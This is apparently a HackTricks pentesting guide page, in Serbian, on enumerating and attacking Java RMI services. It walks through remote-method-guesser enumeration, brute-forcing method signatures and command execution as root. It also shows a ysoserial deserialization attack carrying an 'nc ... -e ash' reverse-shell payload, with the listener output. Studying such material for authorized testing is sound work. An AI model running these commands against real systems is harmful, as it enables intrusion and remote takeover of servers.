1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Java Remote Method Invocation, ili Java RMI, je objektnorijentisani RPC mehanizam koji omogućava objektu smeštenom u jednoj Java virtuelnoj mašini da poziva metode na objektu smeštenom u drugoj Java virtuelnoj mašini. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektnorijentisanu paradigmu. Kratak uvod u Java RMI iz ofanzivne perspektive može se naći u ovom blackhat predavanju.

Podrazumevani port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Obično su samo podrazumevani Java RMI komponente (RMI Registry i Activation System) vezane za uobičajene portove. Remote objects koji implementiraju stvarnu RMI aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu.

nmap ponekad ima problema sa identifikovanjem SSL zaštićenih RMI usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom RMI portu, trebate dalje istražiti.

RMI Komponente

U najjednostavnijim terminima, Java RMI omogućava programeru da učini Java objekat dostupnim na mreži. Ovo otvara TCP port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje Java RMI treba da reši:

  1. Da bi poslali poziv metode putem Java RMI, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i ObjID ciljanog objekta ( ObjID je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer Java RMI omogućava više objekata da slušaju na istom TCP portu).
  2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. Java virtuelna mašina treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće.

Prvi izazov se rešava putem RMI registry, koja je u suštini servis za imenovanje za Java RMI. Sam RMI registry je takođe RMI servis, ali je implementirani interfejs i ObjID fiksni i poznati svim RMI klijentima. Ovo omogućava RMI klijentima da koriste RMI registry samo znajući odgovarajući TCP port.

Kada programeri žele da učine svoje Java objekte dostupnim unutar mreže, obično ih vezuju za RMI registry. Registry čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost ObjID) i čini ih dostupnim pod ljudski čitljivim imenom ( bound name). Klijenti koji žele da koriste RMI servis traže od RMI registry odgovarajući bound name i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnim DNS servisom. Sledeći spisak prikazuje mali primer:

java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Drugi od gore pomenutih izazova rešava Distributed Garbage Collector (DGC). Ovo je još jedna RMI service sa poznatom ObjID vrednošću i dostupna je na praktično svakom RMI endpointu. Kada RMI client počne da koristi RMI service, šalje informaciju DGC-u da je odgovarajući remote object u upotrebi. DGC može pratiti broj referenci i sposobna je da očisti neiskorišćene objekte.

Zajedno sa zastarelim Activation System, ovo su tri podrazumevana komponenta Java RMI:

  1. RMI Registry (ObjID = 0)
  2. Activation System (ObjID = 1)
  3. Distributed Garbage Collector (ObjID = 2)

Podrazumevane komponente Java RMI su poznate vektore napada već neko vreme i više ranjivosti postoje u zastarelim verzijama Java. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene RMI services. Da biste pozvali metodu na remote object, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa RMI service.

RMI Enumeration

remote-method-guesser je Java RMI skener ranjivosti koji je sposoban da automatski identifikuje uobičajene RMI vulnerabilities. Kada god identifikujete RMI endpoint, trebali biste to isprobati:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Izlaz akcije enumeracije je objašnjen detaljnije na stranicama dokumentacije projekta. U zavisnosti od ishoda, trebali biste pokušati da verifikujete identifikovane ranjivosti.

Vrednosti ObjID koje prikazuje remote-method-guesser mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne RMI usluge mogu i dalje izložiti opasne funkcije. Štaviše, iako je RMI komunikacija sa RMI podrazumevajućim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim RMI uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na RMI uslugama je stoga dragoceno.

Nažalost, Java RMI ne podržava enumeraciju metoda na daljinskim objektima. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su remote-method-guesser ili rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identifikovane metode mogu se pozvati na sledeći način:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ili možete izvesti napade deserializacije na sledeći način:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Više informacija može se naći u ovim člancima:

Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili GitHub-u za interfejsom ili čak implementacijom naiđenog RMI servisa. Bound name i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde.

Poznati Interfejsi

remote-method-guesser označava klase ili interfejse kao poznate ako su navedene u internom bazi podataka alata o poznatim RMI servisima. U tim slučajevima možete koristiti poznatu akciju da dobijete više informacija o odgovarajućem RMI servisu:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Alati

Reference

HackTricks Automatske Komande

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks